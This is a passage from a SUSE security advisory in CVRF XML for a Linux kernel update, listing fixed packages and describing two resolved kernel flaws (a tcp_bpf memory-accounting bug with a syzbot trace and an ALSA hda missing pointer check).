        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-39829.html</URL>
        <Description>CVE-2025-39829</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1250082</URL>
        <Description>SUSE Bug 1250082</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="14">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

tcp_bpf: Call sk_msg_free() when tcp_bpf_send_verdict() fails to allocate psock-&gt;cork.

syzbot reported the splat below. [0]

The repro does the following:

  1. Load a sk_msg prog that calls bpf_msg_cork_bytes(msg, cork_bytes)
  2. Attach the prog to a SOCKMAP
  3. Add a socket to the SOCKMAP
  4. Activate fault injection
  5. Send data less than cork_bytes

At 5., the data is carried over to the next sendmsg() as it is
smaller than the cork_bytes specified by bpf_msg_cork_bytes().

Then, tcp_bpf_send_verdict() tries to allocate psock-&gt;cork to hold
the data, but this fails silently due to fault injection + __GFP_NOWARN.

If the allocation fails, we need to revert the sk-&gt;sk_forward_alloc
change done by sk_msg_alloc().

Let's call sk_msg_free() when tcp_bpf_send_verdict fails to allocate
psock-&gt;cork.

The "*copied" also needs to be updated such that a proper error can
be returned to the caller, sendmsg. It fails to allocate psock-&gt;cork.
Nothing has been corked so far, so this patch simply sets "*copied"
to 0.

[0]:
WARNING: net/ipv4/af_inet.c:156 at inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156, CPU#1: syz-executor/5983
Modules linked in:
CPU: 1 UID: 0 PID: 5983 Comm: syz-executor Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025
RIP: 0010:inet_sock_destruct+0x623/0x730 net/ipv4/af_inet.c:156
Code: 0f 0b 90 e9 62 fe ff ff e8 7a db b5 f7 90 0f 0b 90 e9 95 fe ff ff e8 6c db b5 f7 90 0f 0b 90 e9 bb fe ff ff e8 5e db b5 f7 90 &lt;0f&gt; 0b 90 e9 e1 fe ff ff 89 f9 80 e1 07 80 c1 03 38 c1 0f 8c 9f fc
RSP: 0018:ffffc90000a08b48 EFLAGS: 00010246
RAX: ffffffff8a09d0b2 RBX: dffffc0000000000 RCX: ffff888024a23c80
RDX: 0000000000000100 RSI: 0000000000000fff RDI: 0000000000000000
RBP: 0000000000000fff R08: ffff88807e07c627 R09: 1ffff1100fc0f8c4
R10: dffffc0000000000 R11: ffffed100fc0f8c5 R12: ffff88807e07c380
R13: dffffc0000000000 R14: ffff88807e07c60c R15: 1ffff1100fc0f872
FS:  00005555604c4500(0000) GS:ffff888125af1000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005555604df5c8 CR3: 0000000032b06000 CR4: 00000000003526f0
Call Trace:
 &lt;IRQ&gt;
 __sk_destruct+0x86/0x660 net/core/sock.c:2339
 rcu_do_batch kernel/rcu/tree.c:2605 [inline]
 rcu_core+0xca8/0x1770 kernel/rcu/tree.c:2861
 handle_softirqs+0x286/0x870 kernel/softirq.c:579
 __do_softirq kernel/softirq.c:613 [inline]
 invoke_softirq kernel/softirq.c:453 [inline]
 __irq_exit_rcu+0xca/0x1f0 kernel/softirq.c:680
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:696
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1052 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1052
 &lt;/IRQ&gt;</Note>
    </Notes>
    <CVE>CVE-2025-39913</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-39913.html</URL>
        <Description>CVE-2025-39913</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1250705</URL>
        <Description>SUSE Bug 1250705</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="15">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ALSA: hda: Fix missing pointer check in hda_component_manager_init function

The __component_match_add function may assign the 'matchptr' pointer
the value ERR_PTR(-ENOMEM), which will subsequently be dereferenced.

The call stack leading to the error looks like this:

hda_component_manager_init
|-&gt; component_match_add
    |-&gt; component_match_add_release
        |-&gt; __component_match_add ( ... ,**matchptr, ... )
            |-&gt; *matchptr = ERR_PTR(-ENOMEM);       // assign
|-&gt; component_master_add_with_match( ...  match)
    |-&gt; component_match_realloc(match, match-&gt;num); // dereference

Add IS_ERR() check to prevent the crash.

Found by Linux Verification Center (linuxtesting.org) with SVACE.</Note>
    </Notes>
    <CVE>CVE-2025-40097</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-40097.html</URL>
